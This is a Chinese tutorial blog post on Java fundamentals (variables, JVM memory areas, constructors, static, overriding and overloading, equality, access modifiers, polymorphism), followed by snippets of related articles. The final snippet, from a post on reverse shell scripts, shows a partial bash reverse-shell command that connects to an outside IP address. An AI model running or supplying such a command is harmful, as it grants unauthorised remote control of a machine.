一.关于变量

变量可以看成可操作的存储空间,有如下三种:

局部变量:定义在方法或语句块内部,必须先声明初始化才能使用;生命周期从声明位置开始到方法或语句块执行完毕。

成员变量(实例变量):定义在方法外部,类的内部,会自动被初始化;从属对象,生命周期伴随对象始终。

静态变量:使用static定义,从属类;生命周期伴随类始终,从类加载到卸载。

二.内存分析

java虚拟机的内存可分为三个区域:栈stack,堆heap,方法区method area。

1.栈的特点:

  • 栈描述的是方法执行的内存模型;每个方法被调用都会创建一个栈帧(存储局部变量,操作数,方法出口等)
  • JVM为每个线程创建一个栈,用于存放该线程执行方法的信息(实际参数,局部变量等)
  • 栈属于线程私有,不能实现线程间的共享
  • 栈的存储特性是‘先进后出,后进先出‘
  • 栈是由系统自动分配,速度快,栈是一个连续的内存空间

2.堆的特点:

  • 堆用于存储创建好的对象和数组(数组也是对象)
  • JVM只有一个堆,被所有线程共享
  • 堆是一个不连续的内存空间,分配灵活,速度慢

3.方法区(静态区)的特点:

  • JVM只有一个方法区,被所有线程共享
  • 方法区实际上也是堆,知识用于存储类,常量相关信息
  • 用来存放程序中永远不变或唯一的内容(类信息【class对象】,静态变量,字符串常量)

三.关于构造器(也叫构造方法,用于对象初始化)

  • 通过new关键字调用
  • 构造器虽然有返回值,但不能定义返回值类型(返回值类型是其本类),不能在构造器里使用return返回某个值
  • 如果没有定义构造器,编译器会自动定义一个无参构造函数;如果已定义,则编译器不会自动添加构造函数
  • 构造器的方法名必须和类名一致

四.static关键字

  • 在类中,用static声明的成员变量为静态成员变量,也称类变量;类变量的生命周期和类相同,在整个应用程序执行期间都有效
  • static修饰的成员变量和方法,从属于类,普通变量和方法从属于对象
  • 非静态方法可以调用静态方法,静态方法不能调用非静态方法(可联系内存分析知识理解)

五.重写和重载

重写和重载的关键都在于参数列表,这里简单概括一下:

  • 重写:通俗说就是对一个方法的不同实现,方法名和形参列表(参数类型,个数,顺序)相同;返回值类型和声明异常类型,子类要小于等于其父类(也就说子类重写可以返回的是父类的派生类);访问权限子类要大于等于其父类(比如父类被声明public,那子类重写就不能声明为protected
  • 重载:方法名相同,参数列表不同(参数类型,个数),返回值可以不同

六.==和equals

  • ==代表的是比较双方是否相同,如果是基本类型则表示值相等;如果是引用类型则表示地址相等,即是同一个对象。
  • Object类中有定义:public boolean equals(Object obj)方法,提供定义“对象内容是否相等的逻辑”

七.访问控制符(封装)

  • private:表示私有,只有自己类能访问
  • default:表示没有修饰符修饰,只有同一个包的类能访问
  • protected:表示可以被同一个包的类以及其他包中的子类访问
  • public:表示可以被该项目所有包中的所有类访问

八.多态

多态指同一个方法调用,由于对象不同可能会有不同的行为。

  • 多态是方法的多态,不是属性的多态(多态与属性无关)
  • 多态的存在要有3个必要条件:继承,方法重写,父类引用指向子类对象
  • 父类引用指向子类对象后,用该父类引用调用子类重写的方法,此时多态就出现了

JAVA基础你需要知道的几点的更多相关文章

  1. Java基础知识(壹)

    写在前面的话 这篇博客,是很早之前自己的学习Java基础知识的,所记录的内容,仅仅是当时学习的一个总结随笔.现在分享出来,希望能帮助大家,如有不足的,希望大家支出. 后续会继续分享基础知识手记.希望能 ...

  2. [Java面经]干货整理, Java面试题(覆盖Java基础,Java高级,JavaEE,数据库,设计模式等)

    如若转载请注明出处: http://www.cnblogs.com/wang-meng/p/5898837.html   谢谢.上一篇发了一个找工作的面经, 找工作不宜, 希望这一篇的内容能够帮助到大 ...

  3. 【JAVA面试题系列一】面试题总汇--JAVA基础部分

    JAVA基础 基础部分的顺序: 基本语法,类相关的语法,内部类的语法,继承相关的语法,异常的语法 线程的语法,集合的语法,io 的语法,虚拟机方面的语法 每天几道,持续更新!! 1.一个". ...

  4. 最适合作为Java基础面试题之Singleton模式

    看似只是最简单的一种设计模式,可细细挖掘,static.synchronized.volatile关键字.内部类.对象克隆.序列化.枚举类型.反射和类加载机制等基础却又不易理解透彻的Java知识纷纷呼 ...

  5. java基础练习 字符串,控制流,日历,日期等

    1,对基本控制流程的一些练习 package org.base.practice3; import org.junit.Test; /** * Created with IntelliJ IDEA. ...

  6. Java基础知识【下】( 转载)

    http://blog.csdn.net/silentbalanceyh/article/details/4608360 (最终还是决定重新写一份Java基础相关的内容,原来因为在写这一个章节的时候没 ...

  7. Java基础知识【上】(转载)

    http://blog.csdn.net/silentbalanceyh/article/details/4608272 (最终还是决定重新写一份Java基础相关的内容,原来因为在写这一个章节的时候没 ...

  8. java基础学习03(java基础程序设计)

    java基础程序设计 一.完成的目标 1. 掌握java中的数据类型划分 2. 8种基本数据类型的使用及数据类型转换 3. 位运算.运算符.表达式 4. 判断.循环语句的使用 5. break和con ...

  9. Java基础加强之多线程篇(线程创建与终止、互斥、通信、本地变量)

    线程创建与终止 线程创建 Thread类与Runnable接口的关系 public interface Runnable { public abstract void run(); } public ...

  10. java基础知识小总结【转】

    java基础知识小总结 在一个独立的原始程序里,只能有一个 public 类,却可以有许多 non-public 类.此外,若是在一个 Java 程序中没有一个类是 public,那么该 Java 程 ...

随机推荐

  1. 小谢第6问:js中,filter函数是怎么使用的

    数组的常用方法filter,今天在做数组筛选的时候用到需要将有重复的数组去除,因此用到这个函数,主要用到-- 选择需要的属性,最终留下想要的数组,如果刚开始的话可以看下下面代码 let nums = ...

  2. Java实现 LeetCode 724 寻找数组的中心索引(暴力)

    724. 寻找数组的中心索引 给定一个整数类型的数组 nums,请编写一个能够返回数组"中心索引"的方法. 我们是这样定义数组中心索引的:数组中心索引的左侧所有元素相加的和等于右侧 ...

  3. Java实现 LeetCode 409 最长回文串

    409. 最长回文串 给定一个包含大写字母和小写字母的字符串,找到通过这些字母构造成的最长的回文串. 在构造过程中,请注意区分大小写.比如 "Aa" 不能当做一个回文字符串. 注意 ...

  4. Java实现 LeetCode 315 计算右侧小于当前元素的个数

    315. 计算右侧小于当前元素的个数 给定一个整数数组 nums,按要求返回一个新数组 counts.数组 counts 有该性质: counts[i] 的值是 nums[i] 右侧小于 nums[i ...

  5. Java实现 蓝桥杯VIP 算法提高 促销购物

    算法提高 促销购物 时间限制:1.0s 内存限制:256.0MB 问题描述 张超来到了超市购物. 每个物品都有价格,正好赶上商店推出促销方案.就是把许多东西一起买更便宜(保证优惠方案一定比原价便宜). ...

  6. Java实现 蓝桥杯 素因子去重

    素因子去重 问题描述 给定一个正整数n,求一个正整数p,满足p仅包含n的所有素因子,且每个素因子的次数不大于1 输入格式 一个整数,表示n 输出格式 输出一行,包含一个整数p. 样例输入 1000 样 ...

  7. Java实现 LeetCode 28 实现strStr()

    28. 实现 strStr() 实现 strStr() 函数. 给定一个 haystack 字符串和一个 needle 字符串,在 haystack 字符串中找出 needle 字符串出现的第一个位置 ...

  8. Java实现 蓝桥杯 算法提高 最长滑雪道

    试题 算法提高 最长滑雪道 资源限制 时间限制:1.0s 内存限制:256.0MB 问题描述 小袁非常喜欢滑雪, 因为滑雪很刺激.为了获得速度,滑的区域必须向下倾斜,而且当你滑到坡底,你不得不再次走上 ...

  9. java实现土地测量

    ** 土地测量** 造成高房价的原因有许多,比如土地出让价格.既然地价高,土地的面积必须仔细计算.遗憾的是,有些地块的形状不规则,比如是如图[1.jpg]中所示的五边形. 一般需要把它划分为多个三角形 ...

  10. 常用的反弹shell脚本

    bash shell反弹脚本 /bin/bash -i > /dev/tcp/10.211.55.11/ <& >& Python shell 反弹脚本 #!/usr ...